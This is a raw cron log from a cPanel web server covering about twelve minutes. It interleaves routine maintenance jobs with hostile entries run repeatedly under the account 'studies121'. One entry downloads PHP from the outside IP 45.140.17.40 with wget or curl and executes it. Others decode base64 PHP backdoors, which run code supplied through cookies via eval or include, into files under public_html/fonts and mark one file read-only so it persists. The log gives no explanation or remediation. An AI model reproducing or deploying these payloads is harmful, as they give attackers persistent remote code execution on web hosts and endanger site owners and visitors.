Sep 12 22:38:01 ip-184-168-122-23 CROND[4050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:38:01 ip-184-168-122-23 CROND[4053]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:39:01 ip-184-168-122-23 CROND[4143]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:39:01 ip-184-168-122-23 CROND[4146]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:39:01 ip-184-168-122-23 CROND[4145]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:39:01 ip-184-168-122-23 CROND[4148]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 12 22:39:01 ip-184-168-122-23 CROND[4147]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:40:01 ip-184-168-122-23 CROND[4254]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 22:40:01 ip-184-168-122-23 CROND[4260]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:40:01 ip-184-168-122-23 CROND[4257]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:40:01 ip-184-168-122-23 CROND[4258]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:40:01 ip-184-168-122-23 CROND[4261]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:40:01 ip-184-168-122-23 CROND[4259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:40:01 ip-184-168-122-23 CROND[4262]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:40:01 ip-184-168-122-23 CROND[4263]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:41:01 ip-184-168-122-23 CROND[4376]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:41:01 ip-184-168-122-23 CROND[4374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:41:01 ip-184-168-122-23 CROND[4377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:41:01 ip-184-168-122-23 CROND[4375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:42:01 ip-184-168-122-23 CROND[4550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:42:01 ip-184-168-122-23 CROND[4553]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:42:01 ip-184-168-122-23 CROND[4552]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:42:01 ip-184-168-122-23 CROND[4556]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:42:01 ip-184-168-122-23 CROND[4557]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:43:01 ip-184-168-122-23 CROND[4652]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:43:01 ip-184-168-122-23 CROND[4654]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:43:01 ip-184-168-122-23 CROND[4655]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:43:01 ip-184-168-122-23 CROND[4656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:44:01 ip-184-168-122-23 CROND[4758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:44:01 ip-184-168-122-23 CROND[4761]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:44:01 ip-184-168-122-23 CROND[4762]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:44:01 ip-184-168-122-23 CROND[4760]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:44:01 ip-184-168-122-23 CROND[4763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:45:01 ip-184-168-122-23 CROND[4902]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:45:01 ip-184-168-122-23 CROND[4904]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:45:01 ip-184-168-122-23 CROND[4908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:45:01 ip-184-168-122-23 CROND[4906]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:45:01 ip-184-168-122-23 CROND[4907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 22:45:01 ip-184-168-122-23 CROND[4910]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:46:01 ip-184-168-122-23 CROND[5003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:46:01 ip-184-168-122-23 CROND[5005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:46:01 ip-184-168-122-23 CROND[5007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:46:01 ip-184-168-122-23 CROND[5009]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep 12 22:46:01 ip-184-168-122-23 CROND[5008]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:46:01 ip-184-168-122-23 CROND[5010]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 22:46:01 ip-184-168-122-23 CROND[5006]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:47:01 ip-184-168-122-23 CROND[5227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:47:01 ip-184-168-122-23 CROND[5229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:47:01 ip-184-168-122-23 CROND[5231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:47:01 ip-184-168-122-23 CROND[5230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:48:01 ip-184-168-122-23 CROND[5331]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:48:01 ip-184-168-122-23 CROND[5333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:48:01 ip-184-168-122-23 CROND[5336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:48:01 ip-184-168-122-23 CROND[5337]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:48:01 ip-184-168-122-23 CROND[5338]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:49:01 ip-184-168-122-23 CROND[5451]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep 12 22:49:01 ip-184-168-122-23 CROND[5452]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:49:01 ip-184-168-122-23 CROND[5453]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 12 22:49:01 ip-184-168-122-23 CROND[5455]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:49:01 ip-184-168-122-23 CROND[5454]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 12 22:50:01 ip-184-168-122-23 CROND[5580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 22:50:01 ip-184-168-122-23 CROND[5581]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 22:50:01 ip-184-168-122-23 CROND[5583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 22:50:01 ip-184-168-122-23 CROND[5584]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 12 22:50:01 ip-184-168-122-23 CROND[5585]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 22:50:01 ip-184-168-122-23 CROND[5589]: (root) CMD (/usr/lib64/sa/sa1 1 1)
